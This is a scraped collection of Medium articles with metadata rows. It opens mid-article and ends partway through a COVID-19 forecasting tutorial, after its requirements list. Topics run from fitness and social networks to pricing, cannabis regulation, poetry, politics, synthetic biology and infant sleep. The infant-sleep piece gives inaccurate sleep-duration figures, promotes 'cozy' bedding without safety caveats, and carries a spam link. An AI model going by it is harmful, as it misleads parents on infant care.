One caveat: As someone who has earned multiple certifications over the years; I can tell you from experience that, while having an education is one thing, knowing how to apply that education in the real world — to people of different shapes, sizes, ages, and personalities — is a whole different ballgame.
For that reason, I’d like to point out that while certifications or degrees of any level are definitely not the “be-all-end-all”, they’re still of value, because it shows that your trainer has at least invested in themselves enough to achieve a rudimentary level of education before working with clients.
That’s a sign that they take themselves and their brand seriously — which likely means they’re going to take you and your results seriously, too.
Make sure your trainer has invested in themselves before you invest in them.
Image by Darren Constance from Pixabay
There are many variables that make up a great personal trainer, but these three fundamental boxes should be checked before you invest your time, money, and health into one of them.
Find someone who assesses your needs, establishes your goals, has a plan to help you reach those goals, and has invested in an education — your body will thank you. | https://zackharris.medium.com/three-signs-of-a-good-personal-trainer-d8689d17264 | ['Zack Harris'] | 2020-03-18 00:32:09.899000+00:00 | ['Fitness', 'Health', 'Lifestyle', 'Coaching', 'Self Improvement'] |
So You Want to Leave Facebook | So You Want to Leave Facebook
A survey of social networks, from Signal to Scuttlebutt
Some of the top social networks of each category.
There are a lot of social networks out there, and a lot of good reasons to leave some of the most popular ones. The goal of this post is to share my analysis of the alternatives during my own quest to leave Facebook.
Let’s start with the easy ones. I assume if you’re here, it’s because you care at least a little bit about privacy, ads, censorship, data brokerage, security, centralized control, constant tracking/surveillance, or not being the product. That justifiably rules out a lot of the most popular options like Instagram (owned by Facebook), WhatsApp (owned and being degraded by Facebook), Twitter, Snapchat, QQ/WeChat/QZone (heavily influenced by the Chinese government), GroupMe (low security), Google+ (dead), and Google Hangouts (phasing out). Let’s not waste time on those — they have many of the same shortcomings as Facebook.
Now, since there are so many options out there, I’ll organize the rest into categories.
Slack and its clones
Examples: Slack, Discord, Mattermost, and many others
Appeal: the features.
I like the Slack experience a lot, in particular its custom reacts, threads, channels, and mentions. It works well and is very useful for the workplace environment it dominates. If you want an exact clone with slightly less polish that’s open source and self-hosted, Mattermost is the most prominent clone for you. However, there’s the obvious drawback: workspaces are not interoperable. This dooms Slack as a real social network, unless the whole world were put in one workspace (which also seems like a disaster).
Discord is great because it did the same thing but made workspaces interoperable — that is, you have one account for all of Discord, and can join and leave any number of servers (equivalent to Slack workspaces) as you please. Direct messages are outside a specific server. Unfortunately, they explicitly read and sell your data to advertisers, so ultimately a no-go as well.
End-to-end encrypted messengers
Examples: Signal, Telegram, Viber, Line, iMessage, and a million others
Appeal: the security.
These all rely on roughly the same principle. Alice encrypts the message on her device and sends it to the server in the middle. The server can’t read it, but knows to give it to Bob. When Bob gets it on his device, he’s the only one who can decrypt and see what Alice said.
Some have obvious shortcomings, like iMessage not being on Android, but what it comes down to for a lot of them is how much you trust their security. For example, audits of Line have cast some doubt on whether their cryptography is actually sound. Also, most of these services can still see who’s talking to whom and how often, which itself reveals a ton of information. As a general council at the NSA once said,
“If you have enough metadata you don’t really need content.”
On this front, Signal is the winner and the clear favorite in the security community for being open source and including features such as forward secrecy, cryptographic deniability, and good metadata hiding. It also has a decent UI, is quite popular already, and has multi-device support.
The only other one you may want to consider here is Telegram, which is more feature rich than Signal with stickers, better group messaging, and a great UI. Also extremely popular (over 200 million users), it seems to have good security but is not nearly as unanimously praised for security as Signal.
Something from this group (Signal or Telegram recommended) is sufficient for your basic messaging needs. Even if you’re a whistle-blower in a surveillance state, Signal is secure enough to protect you.
However, they still leave a lot to be desired, namely:
It’s not at all a full social networking experience. Messaging is only part of how we connect and share with our friends and family.
Something could happen to them. These apps are free right now, but servers cost money to maintain. The groups behind them could run out and start charging you for it at any time, and you would be trapped again—because leaving means losing your contacts and messages.
Federated
Examples: literally hundreds. I’ll highlight a few of the main networks.
Appeal: ability to choose a specific community but have access to everyone.
For many of the open source options above, it’s possible for some independent developer to build an app of their own that can send and receive messages, but it would still all have to go through the main Signal server (for example). Federated systems have many independent servers which all share a convention for how messages are formatted. The most well known example is Email, where “[email protected]” means that the “example.com” server is responsible for collecting messages to Alice. Slightly oversimplified, but that’s the main idea all the federated models follow.
This is exciting for a couple of reasons:
No one controls the whole network!
There are a lot of options (gmail, outlook, etc.), so you can pick the best one for you. Different servers also have different policies and focuses for what shows up in your news feed — or what gets blocked as spam.
If your server starts misbehaving, you can switch to a new one without your friends having to switch platforms.
There remain a few drawbacks, however, so let’s get those out of the way:
There are a lot of options. Deciding is hard, especially as a new user, because it’s a large commitment you don’t know how to evaluate.
If your server starts misbehaving, switching is still a pain, because you have to transfer your contacts and tell all of your friends to use your new identity (like an email address, ActivityPub id, etc.).
Without further ado, the options:
The largest and most popular social network. It’s good at what it does, but I think we can all agree that it doesn’t meet modern expectations for social networking features. It’s also fairly insecure.
The most mainstream federated social network besides email (although it’s hard to tell, because they’re really spread out by design). “ActivityPub” is not the name of any service you can join, it’s the convention that lets all of the users on the following sites talk to each other:
Mastodon (Twitter clone) — most popular with well over 1 million users
(Twitter clone) — most popular with well over 1 million users GNU Social
PeerTube (YouTube clone)
(YouTube clone) PixelFed (Instagram clone)
(Instagram clone) Frendica (Facebook clone)
(Facebook clone) also Pleroma (Twitter clone), Hubzilla, Mobilizon, Misskey, and many more
So if you’re on Mastodon and your friend posts a cool video on PeerTube, you can “like” it cross-platform and it will show up in your other friends’ feeds.
ActivityPub user data is encrypted in transit (between servers, as almost all traffic is nowadays), but not encrypted once it gets to your home server. This was deliberate, because one of the features is that different servers will prioritize different content in your news feed. However, it means that if your username is @[email protected], you are trusting example.com with all of your messages and data (just like email). They could be doing anything with it, including censoring or selling it. Hopefully this isn’t often a problem, because competition should make the most honest servers the most popular, but it is very important to know there’s the risk.
No, not that Matrix — I wish.
Very similar to ActivityPub, Matrix is a set of conventions that make it possible for users on many different sites to communicate, however people refer to the network as “Matrix” in this case. It’s also federated, so everyone has a home server, but there is much less emphasis on choosing the right one here. Matrix is built with more of a Slack/Discord mindset, where the servers are like Slack workspaces that can host channels and such. The main web client for interacting with the network is itself a Discord clone, called Riot. Extra bonus points to Matrix for having bridges to most other platforms, which enable setups like half your team using Slack and half using Riot (and one person using IRC) with the messages from the other app being transferred over automatically by a bot.
The main feature that Matrix offers over ActivityPub is privacy. End-to-end encryption is available even for large group channels, so with that enabled no server can read your messages.
Honorable Mentions
Diaspora : was very popular (for a federated social network) for a while. Emphasis on cross-platform posting (for example, to blogs, or Facebook).
: was very popular (for a federated social network) for a while. Emphasis on cross-platform posting (for example, to blogs, or Facebook). SOLID : project of world wide web inventor Tim Berners-Lee. Cool idea, unfortunately underdeveloped and shrouded in ambiguity.
: project of world wide web inventor Tim Berners-Lee. Cool idea, unfortunately underdeveloped and shrouded in ambiguity. Peergos: cool tech — servers aren’t trusted so it’s almost decentralized, but does not provide users much of a social network-like experience.
For this category it really comes down to what you’re looking for. If you want an experience like Twitter, join Mastodon. If you want something like Discord, care about privacy, or are an organization looking for a work platform, Matrix would be better.
Both still have the issue of it being hard for users to change their home server if it misbehaves — you’re kind of stuck with the domain tied to your username (like with email). In order to solve that problem, we must foray into the territory of very unconventional social networks. Onward!
Blockchain
Appeal: BLOCKCHAIN! Also, uncensorable, permanent, and can reward content
Prerequisites: Know that crypotocurrencies like Bitcoin and Ethereum not only let you send money around, but are also a public permanent record of any data you add to those transactions (for example, your tweets). There’s more to it, but that’s enough to understand how these work on a high level.
A couple of different desires can be fulfilled by blockchains:
Anyone can participate: on a public blockchain, anyone can submit or read transactions.
Censorship is hard: no one can globally filter transactions to or from the blockchain.
“Good” content deserves to be rewarded, and what better reward than money? (details vary by platform)
But of course, there are drawbacks:
Adding any new data to the blockchain incurs a transaction fee.
Blockchains are often slow and/or resource-intensive.
You have to be connected to the “main network” of people using the blockchain to participate. It won’t work offline or even just regionally (like federated systems can).
And now, the apps:
You have to pay to post
Examples: MIX (lots of cool ideas though), Memo, AKASHA (notably also requires you to get two chrome extensions), DoublePlus (a MIX webapp, seems to be down)
There’s solid tech behind some of these, but I’m not going to spend time on them because I don’t think needing money to join or post is palatable to most users (even just a little, even if the devs start them off with some).
Depends on Blockstack
Blockstack is an organization which absorbs the transaction fees of using its blockchain-based ID system, and lots of other things.
Examples: Stealthy, Afari, etc.
This is a disadvantage for the same reasons as any blockchain (speed, connectivity, etc), but also because we’re not really sure what Blockstack’s business model is despite them raising lots of money and giving away $100k/month to app developers. It seems to be “1) become the ultimate domain/identity registrar of the new internet, 2) profit”. This is its own category because it trades one problem for another, and a lot of Blockstack-based social networks have cropped up due to their developer rewards. That does mean you can log into lots of apps with that one ID, though.
Content curation/reputation focused
Examples: Steem, Relevant
This category solves an interesting related problem: How to determine what’s quality content, and how to reward those how generate it. The answers here are “a reputation system/web of trust” and “blockchains”, respectively. These systems could have an entire article to themselves, but they’re more replacements for Reddit than Facebook so I won’t say much more here.
A Twitter clone, and my favorite in this category. Everything is stored on Ethereum (and thus open to other people making clients), but they bundle things in a clever way which keeps costs fixed no matter how many tweets there are (and they cover this small cost). The big draw is their huge focus on encouraging quality content and making it a nice place to be. Of course, since it’s on a blockchain, it’s also very charity/tip focused so it’s easy to tip other people for a tweet (but they do take a cut). Unfortunately, as with all Ethereum apps still, you have to install the MetaMask browser extension to use it (which has its own UX problmes…).
Ultimately, this category has lots of cool ideas and may have some promise when it comes to curating quality in a global public feed, but they don’t solve the fundamental blockchain drawbacks from before. Plus, most of what you do on Facebook (messaging and posting to friends or in groups) isn’t public anyways, so it seems silly to save that on a global permanent record (the blockchain). The UI hurdles that come with blockchain — like needing MetaMask and/or cryptocurrency to participate — also make me think that most of these have a pretty low chance of being widely adopted.
Decentralized
Examples: Secure Scuttlebutt, Briar, SecuShare, Tox, Iris, Jami, 3Box, Prattle, Arbore
Appeal: no dependence on third parties, lots of options, high latency not an issue
The main idea behind each of these is that the data which makes up the network (profiles, messages, etc) is sent directly from one person’s device to another, without any intermediate servers or anything. This can be done in person, over Bluetooth for example, or across the entire internet. For example, Secure Scuttlebutt (SSB) was started by a guy from remote New Zealand which has terrible connectivity. With SSB, he can post a picture while out on a boat, come into town and sync directly with one person via Bluetooth, then that person could go to the local bar and sync directly with everyone else, and now they’d all have his post without ever having to ping the outside world.
That’s pretty wild, but it brings with it some challenges:
This is harder technically.
Finding new people and content is harder when no central (or even federated) entity is amassing profiles and posts.
There isn’t necessarily an entity dedicated to keeping your stuff online while you’re disconnected.
These all seem solvable, however, and the benefits are compelling:
There’s no central controller, data vacuum, or censorship tool.
An open platform means many options for users.
No reliance on fallible or untrustworthy third parties. Your data is yours.
For a long version of the benefits see the thought that kicked off this research:
Though they all have that same core function, each one implemented it a bit differently. Here are the most noteworthy in a little more detail:
One content spreading mechanic, as mentioned above, is people storing each other’s stuff and spreading it to the next person, but the main way this happens in practice is through intermediary nodes called pubs, which are servers someone is hosting as a meeting place to exchange profile updates. Pubs can read your messages, and everyone can read who follows whom so it’s not very private, but they do have encrypted messaging.
Briar is similar to SSB, except with an extreme focus on privacy (which sacrifices many of SSB’s nice social features). First of all, the only way to communicate with someone new is to meet up in person and exchange keys (scan a barcode), and your key is required to be password protected. Once you’ve connected with someone all correspondence is end-to-end encrypted and you can only communicate directly (like with Bluetooth) or through Tor (which hides who’s talking to whom). Extremely secure. Not very user-friendly.
Honorable mention because of their emphasis on users forming a “web of trust” and the clever things they can do with that. For example: one problem/benefit of decentralized social networks is that no one backs up your password for you. So if you forget it, you can’t do a simple email reset or something. However, since in Iris you have already indicated which other users you trust, if enough of them say you really did lose your password you can replace the locked account.
This category has a lot of variation, so I can’t claim one or another is better— it depends on your use case. Unfortunately, none of the options seem to have quite figured out how best to balance privacy, discovery, and user experience.
Miscellaneous
Some things just defy categorization. These are cool projects that do not deserve to be all the way at the bottom.
Their core technology is a clever secure file sharing system (with 250GB of free space), where something kind of like Slack has evolved around that. They’ve done a great job of making security user friendly (for both messages and files). Again, a very solid option, but it is centralized so Matrix is probably a better choice for its popularity, bridges, and federation unless you really value large secure file storage and a bit more polish.
Status could have gone in the decentralization category, but it’s also not quite a social network. It’s very polished and has a lot of thought put into it, but is really a mobile crypto hub for interacting with Ethereum apps, storing cryptocurrency, and yes, also messaging. The messaging security is great, but that’s because they send each encrypted message to everyone else on the network, which obviously does not scale. | https://medium.com/hackernoon/so-you-want-to-leave-facebook-1ab3603f164a | ['Nate Foss'] | 2019-07-08 20:15:46.839000+00:00 | ['Messaging', 'Social Network', 'Decentralization', 'Privacy', 'Facebook'] |
What Is Price Discrimination, and How Does It Work? | Price discrimination is a pricing method where identical or similar products are sold at different prices
There are three types of price discrimination: first, second, and third-degree discrimination
AI makes price discrimination more efficient, but companies still stick to traditional methods
Have you ever wondered why colleges have in-state and out-of-state rates, why companies such as Groupon exist, and why you receive coupons on certain products in your email box? The quick answer is firms know how sensitive their customers are to price and charge different prices to different customers. This practice is called price discrimination.
Price discrimination is a pricing method where a seller charges customers different prices based on the seller’s belief of how much each group of customers is willing to pay. Such belief is often based on demographic factors, such as age, education, and marital status. For example, a car insurance company is more likely to provide a better deal to someone with a family and ten years of work experience rather than a recent college graduate. However, demographics is only one of the factors. In theory, price discrimination has three levels: first-degree price discrimination, second-degree price discrimination, and third-degree price discrimination.
First-degree price discrimination is the most extreme example. Under this practice, the seller charges each individual a different price, and every customer pays the highest possible price he is willing to pay. An example would be a doctor from a small town who knows the financial situation of each family in the town and charges each family as much as the family is willing to pay. From the economic standpoint, it implies that the seller captures 100% of the trade welfare.
Second-degree price discrimination is based on what choices customers make. As customer demographic data is not always available, companies can still divide customers into groups based on the customer’s behavior. For example, a customer who takes an additional step to search for a discount code before making a purchase is likely to be more price-sensitive. Therefore, a company may want to provide such a customer with a coupon to make the trade possible. Coupon platforms, such as Groupon and RetailMeNot, help companies make more sales by giving coupons to price-sensitive customers who would not make a purchase otherwise.
Third-degree price discrimination is based on observable factors such as demographics. For example, the Isabella Stewart Gardner Museum in Boston sells tickets to students for $13, adults for $20, and senior citizens for $18. Likewise, the tuition that US colleges charge their students is different for in-state and out-of-state students.
The rise of business intelligence tools and the abundance of customer data on the Internet creates great potential for firms to analyze the price sensitivity of their customers more accurately and set up prices accordingly. According to the economic paper published by researchers from the University of Liège, Belgium, in 2020, AI has empirically proven its effectiveness in increasing profits through more accurate pricing models. However, most of the companies today still use traditional price discrimination methods. The authors expect this to change in the future once more research becomes available. | https://medium.com/@vladislavkhaustovich/what-is-price-discrimination-and-how-does-it-work-682fe973ede9 | ['Vladislav Khaustovich'] | 2021-02-17 05:53:25.278000+00:00 | ['Economics', 'Pricing Strategy', 'Price Discrimination', 'Discount', 'Microeconomics'] |
Cannabis and Tech — The Digital Rules and Regulations | Heavily Regulated
While the use of medicinal and recreational marijuana is legal across several states in America, it is still illegal under federal law. These grey areas of legality means the industry is heavily regulated. These heavy regulations make it particularly challenging for companies to sell and market their cannabis products. There are a number of areas regulators must address throughout the marijuana supply chain from granting licenses, retail sales, distribution, and ensuring marijuana products are safe for consumption.
Mertc, which stands for Marijuana Enforcement Tracking Reporting Compliance, is one of these regulatory organisations, which regulates the whole supply chain of cannabis in 13 states. Mertc tracks, traces, reports and identifies trends within the cannabis market, to help monitor it. Any companies entering the legal cannabis market must follow the rules and regulations of Mertc (or any other regulatory system depending on which state you occupy). Due to this heavy regulation within the industry, it can make it particularly difficult for companies to take their cannabis products to market.
Credit and Debit Card Transactions
If cannabis companies are looking to sell their products online, there are several obstacles they must overcome to create a better online experience for their consumers. Because marijuana remains illegal under federal law, banks are unwilling to incorporate it as it is considered a high risk industry. While some marajuana organizations claim to accept major credit and debit cards, many of these card networks state that they do not allow merchants to use their cards to pay for marajuana products. This de-incentivisation of card payments makes it a predominantly all-cash industry, which makes it incredibly fiddly and hard for organisations to grow. This all-cash industry has forced marijuana companies to explore new ways to make financial transactions which are easier for them and their consumers.
We touched on the emergence of cannabis cryptocurrencies such as Hempcoin and PotCoin in our previous article. Cryptocurrencies provide cannabis retailers with alternative payment method to cash, but many within the industry haven’t adopted it. This is mainly due to cryptocurrencies price volatility and the heavy regulations placed on cryptocurrencies which provide even more paperwork and hassle for cannabis companies. Companies which are looking to enter the legal cannabis industry must consider how they can offer a seamless payment experience for their consumers. Payment gateways such as Stripe can integrate card payments easily for digital stores.
Know Your Customer: You also need to know that the person who bought the cannabis product is the person who receives it and this needs to be proven.
App Stores & Delivery Methods
As the sale of cannabis is predominantly transferred through cash payments, retailers are faced with the tricky task of how they receive this cash if the transaction takes place online. The emergence of marijuana delivery apps such as Eaze and Budly, have made the market significantly more accessible to consumers, enabling retailers to accept cash payments door to door. However, cannabis delivery apps now face increasing pressures as Google and Apple have banned any apps which help facilitate the payment of marijuana.
While this may come across as a huge set back to cannabis retailers looking to sell their products online, all hope is not lost. We recently wrote an article weighing the pros and cons of progressive web apps (PWA’s) which highlights how they can be advantageous if apps stores provide a barrier to entry. PWA’s are web apps which enable users to download them onto their phone much as you would with a traditional app. PWA’s eliminate the need to deploy the ‘app’ to the app store while still creating a seamless, interactive and app-like experience for its users.
Cannabis Digital Marketing
For marijuana marketing applicants, a local license must first be acquired to secure a state permit. But marijuana business licenses are granted only to a limited number of applicants. This can prove challenging within the highly competitive and already saturated market.
Once a company has obtained a marijuana marketing license, it’s still incredibly hard to advertise your product online. Digital advertising such as Google Ad’s and social media, including Instagram, Twitter and Facebook strictly prohibit the promotion of legal cannabis and its associated products. However, marijuana companies are finding innovative ways to promote their products without breaking the digital advertising rules.
Conclusion
It’s clear that while medicinal and recreational cannabis use is becoming more accepted among individual states in America, it is still incredibly challenging to enter this market within the digital realm due to how heavily regulated the industry is. Fundamentally, any company entering into this market must follow the rules on the cannabis regulatory system. While this may appear to be a daunting sector to enter in to, new emerging technologies are helping to make the legal cannabis industry more accessible and a viable business opportunity. | https://medium.com/universlabs/cannabis-and-tech-the-digital-rules-and-regulations-54307fc5a7d8 | ['Univers Labs'] | 2019-10-24 13:48:50.580000+00:00 | ['Tech', 'Website Development', 'Cannabis', 'Apps', 'Digital'] |
Acceptance | Acceptance
Understanding how we deserve such a wondrous love, a reason has yet to appear
Photo by Fernando @cferdo on Unsplash
Your beauty illuminates the darkest depths of reality. No, you defy reality.
It’s something unheard of and undiscovered.
It’s cursing how much you give and take from my soul. I’m never alone.
Your warmth continues with me as I fall asleep.
I feel your eyes shield death’s cold grasp.
One glance over reminds me of how undeserving my being truly is to inhabit such a life of unrelenting love.
Home is nor person, nor place, nor thing. It is an unconditional, undying, purpose of safety.
An idea of leadership to inspire the many who find that safe haven.
To endure and fight the battle that attempts to rid me of that dream.
I can’t do this, this very action of typing insufficient,
Selfish writing without the thought of your overpowering love I was once blessed with.
A fair conclusion is a brief reminder of the moments of discovering one another.
Oceanic candles, sweet sounds, fingertips grazing over the entire surfaces of our being.
Foreign travels of intimacy prove to be more powerful than the history of argumentative responses.
After floating higher and higher, deep air-filled sighs of doubt and fear pull us down to earth where our eyes first met.
Expecting there is always a level up, always a terminology of reality that is unrealistic.
Never could I have imagined I would’ve sunk lower than from where we began.
Historical sights become unimportant in the face of our past story.
They only appear as photo ops in comparison to where we took the largest leaps.
I can’t remember the last leap we took together, other than when we departed.
Replacements appear from the shadows as the thought of my departure leaves you fearful and alone.
The depravity is too powerful to bear alone.
Apologies shall remain powerless, words go unheard with messages undelivered.
Walls surround you and the arms of your new love.
I shall remain unsuitable
I lay here darkened in times of comparison and defeated from leaving love.
© Gaston King, all rights reserved. | https://medium.com/genius-in-a-bottle/acceptance-3a9588e9e7fb | ['Gaston King'] | 2020-12-27 17:53:49.245000+00:00 | ['Depression', 'Poetry', 'Acceptance', 'Inner Peace', 'Moving On'] |
廢棄軍營裡的藝文革命，法國達爾文藝術聚落 | Learn more. Medium is an open platform where 170 million readers come to find insightful and dynamic thinking. Here, expert and undiscovered voices alike dive into the heart of any topic and bring new ideas to the surface. Learn more
Make Medium yours. Follow the writers, publications, and topics that matter to you, and you’ll see them on your homepage and in your inbox. Explore | https://medium.com/cinnythewriteway/%E5%BB%A2%E6%A3%84%E8%BB%8D%E7%87%9F%E8%A3%A1%E7%9A%84%E8%97%9D%E6%96%87%E9%9D%A9%E5%91%BD-%E6%B3%95%E5%9C%8B%E9%81%94%E7%88%BE%E6%96%87%E8%97%9D%E8%A1%93%E8%81%9A%E8%90%BD-b41b542ca000 | ['Cinny Tsai'] | 2020-12-19 03:18:13.390000+00:00 | ['France', 'Startup', 'Bordeaux', 'Creators', 'Artist'] |
Before I even read them, I *knew* what the responses would look like. | Before I even read them, I *knew* what the responses would look like. They don’t even recognize how trite & predictable they are.
One of the problems of the self-proclaimed “progressives” (let’s be real, folks - is repeating Red Diaper Baby programs from the 30’s progressive?) is that there is no room for nuance, and therefore, no chance of achieving any of their goals.
For example, I, too, believe the Leadership of the Democratic Party is ossified and sclerotic. I *don’t* believe the way to fix this is to brutally attack the woman who stood up to, and wrenched concessions from, the GOP throughout these last four horrible years. I will always defend Pelosi - the “antis” force me too. (I have always had problems with Schumer having no spine). A gentler approach might get other moderates to look to new leadership, while recognizing the accomplishments of the current leaders.
Secondly, notwithstanding AOC’s background, there’s a huge dollop of racism in their criticism. (One of these responses pejoratively blames the Congressional Black Caucus for the left’s failures.) Let’s see “progressive” legislation crafted to address structural racism from these folks, with CBC & CHC support and co-sponsors and I might take their posturing a little more seriously (also why I don’t toss Rep. Pressley into this bunch — she’s a workhorse, not a showhorse).
Above all else, I want to know what these people’s ongoing efforts to grow the Party are. What concrete steps are they pursuing in Georgia, for example? When they manage to turn a red state blue, or even a red Congressional District, then I’ll start to take their messaging and proposals seriously. If they can’t win on the ground, they have no business *demanding* others put their careers at risk to meet their purity tests. They like to claim “every candidate who embraced our programs won,” but leave out the part that they won in the bluest districts in America.
Now, before I get smacked by the usual (canned) broadsides, I’d like to point out how much I admire AOC. This woman taught the entire Party how to “clapback” effectively. She didn’t just hunker down — she fought back. We owe her for that. She should be leading seminars for incoming freshmen. But she’s certainly not ready to be given the keys to the kingdom. Her work with Markey was a start. Let’s see more of that.
In short, I fundamentally agree with your piece. If and when the bomb-throwers become effective *legislators* (you know, their job that we’re paying them for), they can earn their way into leadership. Respect can’t be demanded, it has to be earned. They’re not there yet.
P.S. Katie Porter, on the other hand… WOW! | https://medium.com/@tommorrison950/before-i-even-read-them-i-knew-what-the-responses-would-look-like-a5da2986f405 | ['Tom Morrison'] | 2020-12-27 14:31:34.515000+00:00 | ['Democratic Leadership', 'Democrats', 'Progressive', 'Leftist'] |
Culture Fit: Racial Bias in Tech #5—Internal Investigation | We’re turning the mirror on ourselves to assess diversity, equity, and inclusion at All Turtles. If we believe every company could benefit from open conversations about diversity issues, we need to start with ourselves.
Subscribe to the All Turtles Podcast
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Show notes
Webflow’s DEI mission: Mariah Driver wrote about how Webflow works to support and champion their entire team in radically inclusive and empowering ways.
Black Tech Pipeline is a group that All Turtles has recently partnered with to connect to their platform that brings exposure, resources and opportunities to Black technologists. | https://medium.all-turtles.com/culture-fit-racial-bias-in-tech-5-internal-investigation-8d610442f0d0 | ['All Turtles'] | 2021-01-15 00:28:15.564000+00:00 | ['Inclusion', 'Diversity', 'Tech', 'Silicon Valley', 'Podcast'] |
The Importance Of Baby Sleep | The Importance Of Baby Sleep
All living creatures need sleep. Sleeping gives people and all living creatures the time for the body to recuperate and regenerate. Lion’s needs 16 to 18 hours of sleep, while primates, ten to twelve hours of sleep. Humans need on average six to eight hours sleep to rejuvenate. Human babies need a full eight hours of sleep and naps in between.
The body uses sleep as a way to regenerate cells and refresh the brain and overall aids in the development of our body, mind, and health. During our sleep, the human body can regenerate hair follicles, fingernails, toenails and even the outer covering of the skin. This happens because of the automatic pilot that is built into our bodies. People tend to think that the body only needs to recharge spent energy on the day’s work but in truth the body works the regeneration cycle much faster when the brain does not control much action.
Babies therefore need their sleeping time to develop muscles, limbs, and skeletal structure. In order to achieve a good night’s sleep for your baby, it is important that your baby have comfortable and inviting bedding. The secret to a good bed is one that feels just right. Beds that are to big may make your little one feel insecure. Your baby’s bed should be cozy and offer security for them to get a good night sleep. Selecting the proper bedding should also be a concern. The bedding should be easy to touch and feel cozy. Bedding that is to stiff or even to fluffy decreases your baby’s comfort level and therefore reduces his/her sleep time. We would want our babies to enjoy their beds and consider it a place of security.
Click here and Get Fantastic Baby Sleep Secrets
Try to make your baby’s sleeping experience a pleasant one. Bedding should be inviting to the eye. There are so many wonderful patterns and fabrics on the market today that choosing the right bedding should not be to difficult. Remember that your baby needs enough rest to stimulate his/her growth and development and when this is achieved, your baby can reach his full potential. | https://medium.com/@hassan1234/the-importance-of-baby-sleep-9810df833181 | [] | 2021-02-14 14:28:21.143000+00:00 | ['Hours', 'Baby', 'Sleep', 'Bedding', 'Good'] |
Synthetic Biology: Taking Biotech To The Next Level | Forty years. For forty years, modern biotechnology has been the forefront and face of medical innovation. Scientists, researchers, entrepreneurs successfully developed new cures and therapies, completely remodifying humanity’s approach to medicine, and transforming treatments to devastating diseases. For example, a once incurable disease, Hepatitis C, now has recovery rates above 90%. HIV/AIDS has progressed from a guaranteed death sentence to a chronic yet, manageable condition. More than 730 thousand children have been saved in the last 20 years due to advances in vaccinations, in the United States alone.
All these implications were made possible, thanks to biotechnology. However, the world of biotech is not restricted within the walls of medicine. Evidentally biotechnology refers to the scale of technology as a whole.
“The utilization of biological processes, organisms or systems to produce products that are anticipated to improve human lives is termed biotechnology. Broadly, this can be defined as the engineering of organisms for the purpose of human usage” — Saurabh Bhatia, author of History, Scope and Development of Biotechnology
Advancements in the Biotech field:
Due to the wide range of applications in the biotech field, colours have been used to differentiate the main areas of research. Here are some applications in the biotech field:
Blue biotechnology (Marine Biotech) Alternative Energy Source — Bio-fuel, is a liquid fuel produced from renewable sources, including microalgae. Algal biomass can be developed in bioreactors (a manufactured device that supports a biologically active environment). Ocean growth could be appropriate feedstocks for bio-refineries — a facility that integrates biomass conversion processes and to produce value such as fuels and power.
— Bio-fuel, is a liquid fuel produced from renewable sources, including microalgae. Algal biomass can be developed in bioreactors (a manufactured device that supports a biologically active environment). Ocean growth could be appropriate feedstocks for bio-refineries — a facility that integrates biomass conversion processes and to produce value such as fuels and power. Green biotechnology (Agriculture Biotech) Fertilizers— Biofertilizers are microorganisms that work to enhance nutrients in plants. Biofertilizers are also used as microbial inoculants to improve the states of the dirt.
Recent advancements in biotechnology are helping citizens prepare, and address society’s most important challenges.
New Evolution of Biotech: Synthetic Biology
According to the Collins dictionary, “A limit is the greatest amount, extent, or degree of something that is possible.” Do limits exist for humans? Does humanity face any barrier, that cannot be solved with extensive research and discipline? Consequently, is it possible for humanity to one step further? Yes, it is, it is possible for humanity to go one step further, actually, the step has already been taken — through reengineering life.
“Synthetic biology can help address key challenges facing the planet and its population. Research in synthetic biology may lead to new things such as programmed cells that self-assemble at the sites of disease to repair damage.” — Craig Venter, Founder of the Institute for Genomic Research
Just imagine being able to program life, similar to writing code 🤯
What’s the Difference Between Gene Editing and Synthetic Biology?
Synthetic biology and genome editing are similar to another as they both involve changing an organism’s genetic code. Genetic editing usually involves the transfer of individual genes from one microbe or cell to another. It is the modification of the organisms’ characteristics by manipulating its genetic material.
Whereas synthetic biology, on the other hand, attempts to bring engineering principles into biology. Synthetic biology focuses on the design of the main components like enzymes, genetic circuits, metabolic pathways, of the genetic material. The assembly of the smaller components creates a larger integrated system which then can be understood and modelled to solve specific problems.
“The potential for synthetic biology and biotechnology is vast; we all have an opportunity to create the future together” — Ryan Bethencourt, Co-founder of Wild Earth
Application and Challenges
Current synthetic biology goals are ambitious — they range from tissue engineering, biofuel and recoding genomic organisms. However, along the pathway of innovation lies many obstacles. One of the main challenges in the field is that many parts of a mammalian gene are undefined. Parts have not been characterized well, meaning that they haven’t been tested to show what they do as their performance can change with different cell types. Adding on, to actually make synthetic biology breakthroughs, a diverse mix of multi-disciplinary teams of biologists, engineers, mathematicians, philosophers, computer experts, are needed.
All in all, synthetic biology is an emerging disruptive technology that is capable of delivering new solutions to world problems, however, it is still in the works of delivering its promise.
Like what you read? I also write monthly newsletters — check it out! https://www.subscribepage.com/zahrahmed | https://medium.com/@zahrahmed/synthetic-biology-taking-biotech-to-the-next-level-db55b4253a24 | ['Zahra Ahmed'] | 2020-12-22 06:46:31.823000+00:00 | ['Synthetic Biology', 'Biotechnology'] |
COVID19 Time Series Forecasting using LSTM-RNN | While our planet remains in a state of lock-down due to notorious Novel Coronavirus (COVID19), I decided to utilize some of my time in developing a Machine Learning Model which would forecast number of confirmed cases and dead cases by coronavirus. Nevertheless, I would pray to the Almighty to curtail these numbers to null or nan .
I got the live streaming data from John Hopkins University’s github repository.
Let us talk about the modelling part now.
Since, for most of the countries time series plot was pretty simple as the number of cases were growing exponentially. So, I applied the Holt Winter’s method which is used for exponential smoothing. I set trend and smoothing level to be “mul” and 1.0 respectively. The numbers were increasing exponentially and predicted data was very much dependent on data points closer rather than being far. So as per Holt Winter’s method, smoothing level (0<alpha<1) needs to be tending to 1 if we want forecast to be strictly dependent on latest dates. In the figure below, number of confirmed cases in Iran has been plotted.
The curve looks flat in the beginning until last week of February but there is a sudden surge in numbers from first week of March.
The Holt winter’s method yielded great results with Mean Absolute Percentage error(MAPE) being in the range of 4% — 10%. This approach was working well for countries with significant growth in number of confirmed cases such as Italy, Spain, Iran and USA. But for countries like China,Singapore and south Korea where the epidemic has been contained to a certain extent the curve was tending to be saturated.
So these cases required overall data to be paid attention rather than putting more weight to the latest data. So the hyperparameters needed to be changed for these cases for MAPE to be in safe range.
Since, these involved lots of manual intervention , we decided to build a robust model which will take care of the curve whether it is flat or exponential. Let’s say, in future, Italy contains the spread of Coronavirus the Holt Winter will not yield a good result with same hyper-parameters. However, I liked the fact that Holt Winter’s method is pretty easy to implement for a particular case but it is difficult to generalize it for every case.
And the above fact set the context of this article — “ a Robust LSTM time series Model ”. Let us talk about the technical details now.
Requirements:
Jupyter notebook with Python 3 or above
pandas , numpy, sklearn, Keras, tensorflow
